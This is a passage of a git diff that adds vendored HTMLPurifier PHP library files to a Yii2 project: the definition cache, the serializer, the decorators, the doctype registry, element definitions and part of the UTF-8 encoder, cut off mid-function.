HTMLPurifier_ElementDef + * @note This will also defer to modules for custom HTMLPurifier_ChildDef + * subclasses that need content set expansion + * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef to have ChildDef extracted + * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef + * @return HTMLPurifier_ChildDef corresponding to ElementDef + */ + public function getChildDef($def, $module) + { + $value = $def->content_model; + if (is_object($value)) { + trigger_error( + 'Literal object child definitions should be stored in '. + 'ElementDef->child not ElementDef->content_model', + E_USER_NOTICE + ); + return $value; + } + switch ($def->content_model_type) { + case 'required': + return new HTMLPurifier_ChildDef_Required($value); + case 'optional': + return new HTMLPurifier_ChildDef_Optional($value); + case 'empty': + return new HTMLPurifier_ChildDef_Empty(); + case 'custom': + return new HTMLPurifier_ChildDef_Custom($value); + } + // defer to its module + $return = false; + if ($module->defines_child_def) { // save a func call + $return = $module->getChildDef($def); + } + if ($return !== false) { + return $return; + } + // error-out + trigger_error( + 'Could not determine which ChildDef class to instantiate', + E_USER_ERROR + ); + return false; + } + + /** + * Converts a string list of elements separated by pipes into + * a lookup array. + * @param string $string List of elements + * @return array Lookup array of elements + */ + protected function convertToLookup($string) + { + $array = explode('|', str_replace(' ', '', $string)); + $ret = array(); + foreach ($array as $k) { + $ret[$k] = true; + } + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Context.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Context.php new file mode 100644 index 00000000..00e509c8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Context.php @@ -0,0 +1,95 @@ +_storage)) { + trigger_error( + "Name $name produces collision, cannot re-register", + E_USER_ERROR + ); + return; + } + $this->_storage[$name] =& $ref; + } + + /** + * Retrieves a variable reference from the context. + * @param string $name String name + * @param bool $ignore_error Boolean whether or not to ignore error + * @return mixed + */ + public function &get($name, $ignore_error = false) + { + if (!array_key_exists($name, $this->_storage)) { + if (!$ignore_error) { + trigger_error( + "Attempted to retrieve non-existent variable $name", + E_USER_ERROR + ); + } + $var = null; // so we can return by reference + return $var; + } + return $this->_storage[$name]; + } + + /** + * Destroys a variable in the context. + * @param string $name String name + */ + public function destroy($name) + { + if (!array_key_exists($name, $this->_storage)) { + trigger_error( + "Attempted to destroy non-existent variable $name", + E_USER_ERROR + ); + return; + } + unset($this->_storage[$name]); + } + + /** + * Checks whether or not the variable exists. + * @param string $name String name + * @return bool + */ + public function exists($name) + { + return array_key_exists($name, $this->_storage); + } + + /** + * Loads a series of variables from an associative array + * @param array $context_array Assoc array of variables to load + */ + public function loadArray($context_array) + { + foreach ($context_array as $key => $discard) { + $this->register($key, $context_array[$key]); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Definition.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Definition.php new file mode 100644 index 00000000..bc6d4336 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Definition.php @@ -0,0 +1,55 @@ +setup) { + return; + } + $this->setup = true; + $this->doSetup($config); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache.php new file mode 100644 index 00000000..67bb5b1e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache.php @@ -0,0 +1,129 @@ +type = $type; + } + + /** + * Generates a unique identifier for a particular configuration + * @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config + * @return string + */ + public function generateKey($config) + { + return $config->version . ',' . // possibly replace with function calls + $config->getBatchSerial($this->type) . ',' . + $config->get($this->type . '.DefinitionRev'); + } + + /** + * Tests whether or not a key is old with respect to the configuration's + * version and revision number. + * @param string $key Key to test + * @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config to test against + * @return bool + */ + public function isOld($key, $config) + { + if (substr_count($key, ',') < 2) { + return true; + } + list($version, $hash, $revision) = explode(',', $key, 3); + $compare = version_compare($version, $config->version); + // version mismatch, is always old + if ($compare != 0) { + return true; + } + // versions match, ids match, check revision number + if ($hash == $config->getBatchSerial($this->type) && + $revision < $config->get($this->type . '.DefinitionRev')) { + return true; + } + return false; + } + + /** + * Checks if a definition's type jives with the cache's type + * @note Throws an error on failure + * @param HTMLPurifier_Definition $def Definition object to check + * @return bool true if good, false if not + */ + public function checkDefType($def) + { + if ($def->type !== $this->type) { + trigger_error("Cannot use definition of type {$def->type} in cache for {$this->type}"); + return false; + } + return true; + } + + /** + * Adds a definition object to the cache + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + */ + abstract public function add($def, $config); + + /** + * Unconditionally saves a definition object to the cache + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + */ + abstract public function set($def, $config); + + /** + * Replace an object in the cache + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + */ + abstract public function replace($def, $config); + + /** + * Retrieves a definition object from the cache + * @param HTMLPurifier_Config $config + */ + abstract public function get($config); + + /** + * Removes a definition object to the cache + * @param HTMLPurifier_Config $config + */ + abstract public function remove($config); + + /** + * Clears all objects from cache + * @param HTMLPurifier_Config $config + */ + abstract public function flush($config); + + /** + * Clears all expired (older version or revision) objects from cache + * @note Be carefuly implementing this method as flush. Flush must + * not interfere with other Definition types, and cleanup() + * should not be repeatedly called by userland code. + * @param HTMLPurifier_Config $config + */ + abstract public function cleanup($config); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.php new file mode 100644 index 00000000..b57a51b6 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.php @@ -0,0 +1,112 @@ +copy(); + // reference is necessary for mocks in PHP 4 + $decorator->cache =& $cache; + $decorator->type = $cache->type; + return $decorator; + } + + /** + * Cross-compatible clone substitute + * @return HTMLPurifier_DefinitionCache_Decorator + */ + public function copy() + { + return new HTMLPurifier_DefinitionCache_Decorator(); + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function add($def, $config) + { + return $this->cache->add($def, $config); + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function set($def, $config) + { + return $this->cache->set($def, $config); + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function replace($def, $config) + { + return $this->cache->replace($def, $config); + } + + /** + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function get($config) + { + return $this->cache->get($config); + } + + /** + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function remove($config) + { + return $this->cache->remove($config); + } + + /** + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function flush($config) + { + return $this->cache->flush($config); + } + + /** + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function cleanup($config) + { + return $this->cache->cleanup($config); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php new file mode 100644 index 00000000..4991777c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php @@ -0,0 +1,78 @@ +definitions[$this->generateKey($config)] = $def; + } + return $status; + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function set($def, $config) + { + $status = parent::set($def, $config); + if ($status) { + $this->definitions[$this->generateKey($config)] = $def; + } + return $status; + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function replace($def, $config) + { + $status = parent::replace($def, $config); + if ($status) { + $this->definitions[$this->generateKey($config)] = $def; + } + return $status; + } + + /** + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function get($config) + { + $key = $this->generateKey($config); + if (isset($this->definitions[$key])) { + return $this->definitions[$key]; + } + $this->definitions[$key] = parent::get($config); + return $this->definitions[$key]; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in new file mode 100644 index 00000000..b1fec8d3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in @@ -0,0 +1,82 @@ +checkDefType($def)) { + return; + } + $file = $this->generateFilePath($config); + if (file_exists($file)) { + return false; + } + if (!$this->_prepareDir($config)) { + return false; + } + return $this->_write($file, serialize($def), $config); + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return int|bool + */ + public function set($def, $config) + { + if (!$this->checkDefType($def)) { + return; + } + $file = $this->generateFilePath($config); + if (!$this->_prepareDir($config)) { + return false; + } + return $this->_write($file, serialize($def), $config); + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return int|bool + */ + public function replace($def, $config) + { + if (!$this->checkDefType($def)) { + return; + } + $file = $this->generateFilePath($config); + if (!file_exists($file)) { + return false; + } + if (!$this->_prepareDir($config)) { + return false; + } + return $this->_write($file, serialize($def), $config); + } + + /** + * @param HTMLPurifier_Config $config + * @return bool|HTMLPurifier_Config + */ + public function get($config) + { + $file = $this->generateFilePath($config); + if (!file_exists($file)) { + return false; + } + return unserialize(file_get_contents($file)); + } + + /** + * @param HTMLPurifier_Config $config + * @return bool + */ + public function remove($config) + { + $file = $this->generateFilePath($config); + if (!file_exists($file)) { + return false; + } + return unlink($file); + } + + /** + * @param HTMLPurifier_Config $config + * @return bool + */ + public function flush($config) + { + if (!$this->_prepareDir($config)) { + return false; + } + $dir = $this->generateDirectoryPath($config); + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) { + if (empty($filename)) { + continue; + } + if ($filename[0] === '.') { + continue; + } + unlink($dir . '/' . $filename); + } + } + + /** + * @param HTMLPurifier_Config $config + * @return bool + */ + public function cleanup($config) + { + if (!$this->_prepareDir($config)) { + return false; + } + $dir = $this->generateDirectoryPath($config); + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) { + if (empty($filename)) { + continue; + } + if ($filename[0] === '.') { + continue; + } + $key = substr($filename, 0, strlen($filename) - 4); + if ($this->isOld($key, $config)) { + unlink($dir . '/' . $filename); + } + } + } + + /** + * Generates the file path to the serial file corresponding to + * the configuration and definition name + * @param HTMLPurifier_Config $config + * @return string + * @todo Make protected + */ + public function generateFilePath($config) + { + $key = $this->generateKey($config); + return $this->generateDirectoryPath($config) . '/' . $key . '.ser'; + } + + /** + * Generates the path to the directory contain this cache's serial files + * @param HTMLPurifier_Config $config + * @return string + * @note No trailing slash + * @todo Make protected + */ + public function generateDirectoryPath($config) + { + $base = $this->generateBaseDirectoryPath($config); + return $base . '/' . $this->type; + } + + /** + * Generates path to base directory that contains all definition type + * serials + * @param HTMLPurifier_Config $config + * @return mixed|string + * @todo Make protected + */ + public function generateBaseDirectoryPath($config) + { + $base = $config->get('Cache.SerializerPath'); + $base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base; + return $base; + } + + /** + * Convenience wrapper function for file_put_contents + * @param string $file File name to write to + * @param string $data Data to write into file + * @param HTMLPurifier_Config $config + * @return int|bool Number of bytes written if success, or false if failure. + */ + private function _write($file, $data, $config) + { + $result = file_put_contents($file, $data); + if ($result !== false) { + // set permissions of the new file (no execute) + $chmod = $config->get('Cache.SerializerPermissions'); + if (!$chmod) { + $chmod = 0644; // invalid config or simpletest + } + $chmod = $chmod & 0666; + chmod($file, $chmod); + } + return $result; + } + + /** + * Prepares the directory that this type stores the serials in + * @param HTMLPurifier_Config $config + * @return bool True if successful + */ + private function _prepareDir($config) + { + $directory = $this->generateDirectoryPath($config); + $chmod = $config->get('Cache.SerializerPermissions'); + if (!$chmod) { + $chmod = 0755; // invalid config or simpletest + } + if (!is_dir($directory)) { + $base = $this->generateBaseDirectoryPath($config); + if (!is_dir($base)) { + trigger_error( + 'Base directory ' . $base . ' does not exist, + please create or change using %Cache.SerializerPath', + E_USER_WARNING + ); + return false; + } elseif (!$this->_testPermissions($base, $chmod)) { + return false; + } + $old = umask(0000); + mkdir($directory, $chmod); + umask($old); + } elseif (!$this->_testPermissions($directory, $chmod)) { + return false; + } + return true; + } + + /** + * Tests permissions on a directory and throws out friendly + * error messages and attempts to chmod it itself if possible + * @param string $dir Directory path + * @param int $chmod Permissions + * @return bool True if directory is writable + */ + private function _testPermissions($dir, $chmod) + { + // early abort, if it is writable, everything is hunky-dory + if (is_writable($dir)) { + return true; + } + if (!is_dir($dir)) { + // generally, you'll want to handle this beforehand + // so a more specific error message can be given + trigger_error( + 'Directory ' . $dir . ' does not exist', + E_USER_WARNING + ); + return false; + } + if (function_exists('posix_getuid')) { + // POSIX system, we can give more specific advice + if (fileowner($dir) === posix_getuid()) { + // we can chmod it ourselves + $chmod = $chmod | 0700; + if (chmod($dir, $chmod)) { + return true; + } + } elseif (filegroup($dir) === posix_getgid()) { + $chmod = $chmod | 0070; + } else { + // PHP's probably running as nobody, so we'll + // need to give global permissions + $chmod = $chmod | 0777; + } + trigger_error( + 'Directory ' . $dir . ' not writable, ' . + 'please chmod to ' . decoct($chmod), + E_USER_WARNING + ); + } else { + // generic error message + trigger_error( + 'Directory ' . $dir . ' not writable, ' . + 'please alter file permissions', + E_USER_WARNING + ); + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README new file mode 100755 index 00000000..2e35c1c3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README @@ -0,0 +1,3 @@ +This is a dummy file to prevent Git from ignoring this empty directory. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php new file mode 100644 index 00000000..fd1cc9be --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php @@ -0,0 +1,106 @@ + array()); + + /** + * @type array + */ + protected $implementations = array(); + + /** + * @type HTMLPurifier_DefinitionCache_Decorator[] + */ + protected $decorators = array(); + + /** + * Initialize default decorators + */ + public function setup() + { + $this->addDecorator('Cleanup'); + } + + /** + * Retrieves an instance of global definition cache factory. + * @param HTMLPurifier_DefinitionCacheFactory $prototype + * @return HTMLPurifier_DefinitionCacheFactory + */ + public static function instance($prototype = null) + { + static $instance; + if ($prototype !== null) { + $instance = $prototype; + } elseif ($instance === null || $prototype === true) { + $instance = new HTMLPurifier_DefinitionCacheFactory(); + $instance->setup(); + } + return $instance; + } + + /** + * Registers a new definition cache object + * @param string $short Short name of cache object, for reference + * @param string $long Full class name of cache object, for construction + */ + public function register($short, $long) + { + $this->implementations[$short] = $long; + } + + /** + * Factory method that creates a cache object based on configuration + * @param string $type Name of definitions handled by cache + * @param HTMLPurifier_Config $config Config instance + * @return mixed + */ + public function create($type, $config) + { + $method = $config->get('Cache.DefinitionImpl'); + if ($method === null) { + return new HTMLPurifier_DefinitionCache_Null($type); + } + if (!empty($this->caches[$method][$type])) { + return $this->caches[$method][$type]; + } + if (isset($this->implementations[$method]) && + class_exists($class = $this->implementations[$method], false)) { + $cache = new $class($type); + } else { + if ($method != 'Serializer') { + trigger_error("Unrecognized DefinitionCache $method, using Serializer instead", E_USER_WARNING); + } + $cache = new HTMLPurifier_DefinitionCache_Serializer($type); + } + foreach ($this->decorators as $decorator) { + $new_cache = $decorator->decorate($cache); + // prevent infinite recursion in PHP 4 + unset($cache); + $cache = $new_cache; + } + $this->caches[$method][$type] = $cache; + return $this->caches[$method][$type]; + } + + /** + * Registers a decorator to add to all new cache objects + * @param HTMLPurifier_DefinitionCache_Decorator|string $decorator An instance or the name of a decorator + */ + public function addDecorator($decorator) + { + if (is_string($decorator)) { + $class = "HTMLPurifier_DefinitionCache_Decorator_$decorator"; + $decorator = new $class; + } + $this->decorators[$decorator->name] = $decorator; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php new file mode 100644 index 00000000..4acd06e5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php @@ -0,0 +1,73 @@ +renderDoctype. + * If structure changes, please update that function. + */ +class HTMLPurifier_Doctype +{ + /** + * Full name of doctype + * @type string + */ + public $name; + + /** + * List of standard modules (string identifiers or literal objects) + * that this doctype uses + * @type array + */ + public $modules = array(); + + /** + * List of modules to use for tidying up code + * @type array + */ + public $tidyModules = array(); + + /** + * Is the language derived from XML (i.e. XHTML)? + * @type bool + */ + public $xml = true; + + /** + * List of aliases for this doctype + * @type array + */ + public $aliases = array(); + + /** + * Public DTD identifier + * @type string + */ + public $dtdPublic; + + /** + * System DTD identifier + * @type string + */ + public $dtdSystem; + + public function __construct( + $name = null, + $xml = true, + $modules = array(), + $tidyModules = array(), + $aliases = array(), + $dtd_public = null, + $dtd_system = null + ) { + $this->name = $name; + $this->xml = $xml; + $this->modules = $modules; + $this->tidyModules = $tidyModules; + $this->aliases = $aliases; + $this->dtdPublic = $dtd_public; + $this->dtdSystem = $dtd_system; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php new file mode 100644 index 00000000..acc1d64a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php @@ -0,0 +1,142 @@ +doctypes[$doctype->name] = $doctype; + $name = $doctype->name; + // hookup aliases + foreach ($doctype->aliases as $alias) { + if (isset($this->doctypes[$alias])) { + continue; + } + $this->aliases[$alias] = $name; + } + // remove old aliases + if (isset($this->aliases[$name])) { + unset($this->aliases[$name]); + } + return $doctype; + } + + /** + * Retrieves reference to a doctype of a certain name + * @note This function resolves aliases + * @note When possible, use the more fully-featured make() + * @param string $doctype Name of doctype + * @return HTMLPurifier_Doctype Editable doctype object + */ + public function get($doctype) + { + if (isset($this->aliases[$doctype])) { + $doctype = $this->aliases[$doctype]; + } + if (!isset($this->doctypes[$doctype])) { + trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR); + $anon = new HTMLPurifier_Doctype($doctype); + return $anon; + } + return $this->doctypes[$doctype]; + } + + /** + * Creates a doctype based on a configuration object, + * will perform initialization on the doctype + * @note Use this function to get a copy of doctype that config + * can hold on to (this is necessary in order to tell + * Generator whether or not the current document is XML + * based or not). + * @param HTMLPurifier_Config $config + * @return HTMLPurifier_Doctype + */ + public function make($config) + { + return clone $this->get($this->getDoctypeFromConfig($config)); + } + + /** + * Retrieves the doctype from the configuration object + * @param HTMLPurifier_Config $config + * @return string + */ + public function getDoctypeFromConfig($config) + { + // recommended test + $doctype = $config->get('HTML.Doctype'); + if (!empty($doctype)) { + return $doctype; + } + $doctype = $config->get('HTML.CustomDoctype'); + if (!empty($doctype)) { + return $doctype; + } + // backwards-compatibility + if ($config->get('HTML.XHTML')) { + $doctype = 'XHTML 1.0'; + } else { + $doctype = 'HTML 4.01'; + } + if ($config->get('HTML.Strict')) { + $doctype .= ' Strict'; + } else { + $doctype .= ' Transitional'; + } + return $doctype; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php new file mode 100644 index 00000000..d5311ced --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php @@ -0,0 +1,216 @@ +setup(), this array may also + * contain an array at index 0 that indicates which attribute + * collections to load into the full array. It may also + * contain string indentifiers in lieu of HTMLPurifier_AttrDef, + * see HTMLPurifier_AttrTypes on how they are expanded during + * HTMLPurifier_HTMLDefinition->setup() processing. + */ + public $attr = array(); + + // XXX: Design note: currently, it's not possible to override + // previously defined AttrTransforms without messing around with + // the final generated config. This is by design; a previous version + // used an associated list of attr_transform, but it was extremely + // easy to accidentally override other attribute transforms by + // forgetting to specify an index (and just using 0.) While we + // could check this by checking the index number and complaining, + // there is a second problem which is that it is not at all easy to + // tell when something is getting overridden. Combine this with a + // codebase where this isn't really being used, and it's perfect for + // nuking. + + /** + * List of tags HTMLPurifier_AttrTransform to be done before validation. + * @type array + */ + public $attr_transform_pre = array(); + + /** + * List of tags HTMLPurifier_AttrTransform to be done after validation. + * @type array + */ + public $attr_transform_post = array(); + + /** + * HTMLPurifier_ChildDef of this tag. + * @type HTMLPurifier_ChildDef + */ + public $child; + + /** + * Abstract string representation of internal ChildDef rules. + * @see HTMLPurifier_ContentSets for how this is parsed and then transformed + * into an HTMLPurifier_ChildDef. + * @warning This is a temporary variable that is not available after + * being processed by HTMLDefinition + * @type string + */ + public $content_model; + + /** + * Value of $child->type, used to determine which ChildDef to use, + * used in combination with $content_model. + * @warning This must be lowercase + * @warning This is a temporary variable that is not available after + * being processed by HTMLDefinition + * @type string + */ + public $content_model_type; + + /** + * Does the element have a content model (#PCDATA | Inline)*? This + * is important for chameleon ins and del processing in + * HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't + * have to worry about this one. + * @type bool + */ + public $descendants_are_inline = false; + + /** + * List of the names of required attributes this element has. + * Dynamically populated by HTMLPurifier_HTMLDefinition::getElement() + * @type array + */ + public $required_attr = array(); + + /** + * Lookup table of tags excluded from all descendants of this tag. + * @type array + * @note SGML permits exclusions for all descendants, but this is + * not possible with DTDs or XML Schemas. W3C has elected to + * use complicated compositions of content_models to simulate + * exclusion for children, but we go the simpler, SGML-style + * route of flat-out exclusions, which correctly apply to + * all descendants and not just children. Note that the XHTML + * Modularization Abstract Modules are blithely unaware of such + * distinctions. + */ + public $excludes = array(); + + /** + * This tag is explicitly auto-closed by the following tags. + * @type array + */ + public $autoclose = array(); + + /** + * If a foreign element is found in this element, test if it is + * allowed by this sub-element; if it is, instead of closing the + * current element, place it inside this element. + * @type string + */ + public $wrap; + + /** + * Whether or not this is a formatting element affected by the + * "Active Formatting Elements" algorithm. + * @type bool + */ + public $formatting; + + /** + * Low-level factory constructor for creating new standalone element defs + */ + public static function create($content_model, $content_model_type, $attr) + { + $def = new HTMLPurifier_ElementDef(); + $def->content_model = $content_model; + $def->content_model_type = $content_model_type; + $def->attr = $attr; + return $def; + } + + /** + * Merges the values of another element definition into this one. + * Values from the new element def take precedence if a value is + * not mergeable. + * @param HTMLPurifier_ElementDef $def + */ + public function mergeIn($def) + { + // later keys takes precedence + foreach ($def->attr as $k => $v) { + if ($k === 0) { + // merge in the includes + // sorry, no way to override an include + foreach ($v as $v2) { + $this->attr[0][] = $v2; + } + continue; + } + if ($v === false) { + if (isset($this->attr[$k])) { + unset($this->attr[$k]); + } + continue; + } + $this->attr[$k] = $v; + } + $this->_mergeAssocArray($this->excludes, $def->excludes); + $this->attr_transform_pre = array_merge($this->attr_transform_pre, $def->attr_transform_pre); + $this->attr_transform_post = array_merge($this->attr_transform_post, $def->attr_transform_post); + + if (!empty($def->content_model)) { + $this->content_model = + str_replace("#SUPER", $this->content_model, $def->content_model); + $this->child = false; + } + if (!empty($def->content_model_type)) { + $this->content_model_type = $def->content_model_type; + $this->child = false; + } + if (!is_null($def->child)) { + $this->child = $def->child; + } + if (!is_null($def->formatting)) { + $this->formatting = $def->formatting; + } + if ($def->descendants_are_inline) { + $this->descendants_are_inline = $def->descendants_are_inline; + } + } + + /** + * Merges one array into another, removes values which equal false + * @param $a1 Array by reference that is merged into + * @param $a2 Array that merges into $a1 + */ + private function _mergeAssocArray(&$a1, $a2) + { + foreach ($a2 as $k => $v) { + if ($v === false) { + if (isset($a1[$k])) { + unset($a1[$k]); + } + continue; + } + $a1[$k] = $v; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php new file mode 100644 index 00000000..fef9b589 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php @@ -0,0 +1,611 @@ += $c) { + $r .= self::unsafeIconv($in, $out, substr($text, $i)); + break; + } + // wibble the boundary + if (0x80 != (0xC0 & ord($text[$i + $max_chunk_size]))) { + $chunk_size = $max_chunk_size; + } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 1]))) { + $chunk_size = $max_chunk_size - 1; + } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 2]))) { + $chunk_size = $max_chunk_size - 2; + } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 3]))) { + $chunk_size = $max_chunk_size - 3; + } else { + return false; // rather confusing UTF-8... + } + $chunk = substr($text, $i, $chunk_size); // substr doesn't mind overlong lengths + $r .= self::unsafeIconv($in, $out, $chunk); + $i += $chunk_size; + } + return $r; + } else { + return false; + } + } else { + return false; + } + } + + /** + * Cleans a UTF-8 string for well-formedness and SGML validity + * + * It will parse according to UTF-8 and return a valid UTF8 string, with + * non-SGML codepoints excluded. + * + * @param string $str The string to clean + * @param bool $force_php + * @return string + * + * @note Just for reference, the non-SGML code points are 0 to 31 and + * 127 to 159, inclusive. However, we allow code points 9, 10 + * and 13, which are the tab, line feed and carriage return + * respectively. 128 and above the code points map to multibyte + * UTF-8 representations. + * + * @note Fallback code adapted from utf8ToUnicode by Henri Sivonen and + * hsivonen@iki.fi at under the + * LGPL license. Notes on what changed are inside, but in general, + * the original code transformed UTF-8 text into an array of integer + * Unicode codepoints. Understandably, transforming that back to + * a string would be somewhat expensive, so the function was modded to + * directly operate on the string. However, this discourages code + * reuse, and the logic enumerated here would be useful for any + * function that needs to be able to understand UTF-8 characters. + * As of right now, only smart lossless character encoding converters + * would need that, and I'm probably not going to implement them. + * Once again, PHP 6 should solve all our problems. + */ + public static function cleanUTF8($str, $force_php = false) + { + // UTF-8 validity is checked since PHP 4.3.5 + // This is an optimization: if the string is already valid UTF-8, no + // need to do PHP stuff. 99% of the time, this will be the case. + // The regexp matches the XML char production, as well as well as excluding + // non-SGML codepoints U+007F to U+009F + if (preg_match( + '/^[\x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]*$/Du', + $str + )) { + return $str; + } + + $mState = 0; // cached expected number of octets after the current octet + // until the beginning of the next UTF8 character sequence + $mUcs4 = 0; // cached Unicode character + $mBytes = 1; // cached expected number of octets in the current sequence + + // original code involved an $out that was an array of Unicode + // codepoints. Instead of having to convert back into UTF-8, we've + // decided to directly append valid UTF-8 characters onto a string + // $out once they're done. $char accumulates raw bytes, while $mUcs4 + // turns into the Unicode code point, so there's some redundancy. + + $out = ''; + $char = ''; + + $len = strlen($str); + for ($i = 0; $i < $len; $i++) { + $in = ord($str{$i}); + $char .= $str[$i]; // append byte to char + if (0 == $mState) { + // When mState is zero we expect either a US-ASCII character + // or a multi-octet sequence. + if (0 == (0x80 & ($in))) { + // US-ASCII, pass straight through. + if (($in <= 31 || $in == 127) && + !($in == 9 || $in == 13 || $in == 10) // save \r\t\n + ) { + // control characters, remove + } else { + $out .= $char; + } + // reset + $char = ''; + $mBytes = 1; + } elseif (0xC0 == (0xE0 & ($in))) { + // First octet of 2 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x1F) << 6; + $mState = 1; + $mBytes = 2; + } elseif (0xE0 == (0xF0 & ($in))) { + // First octet of 3 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x0F) << 12; + $mState = 2; + $mBytes = 3; + } elseif (0xF0 == (0xF8 & ($in))) { + // First octet of 4 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x07) << 18; + $mState = 3; + $mBytes = 4; + } elseif (0xF8 == (0xFC & ($in))) { + // First octet of 5 octet sequence. + // + // This is illegal because the encoded codepoint must be + // either: + // (a) not the shortest form or + // (b) outside the Unicode range of 0-0x10FFFF. + // Rather than trying to resynchronize, we will carry on + // until the end of the sequence and let the later error + // handling code catch it. + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x03) << 24; + $mState = 4; + $mBytes = 5; + } elseif (0xFC == (0xFE & ($in))) { + // First octet of 6 octet sequence, see comments for 5 + // octet sequence. + $mUcs4 = 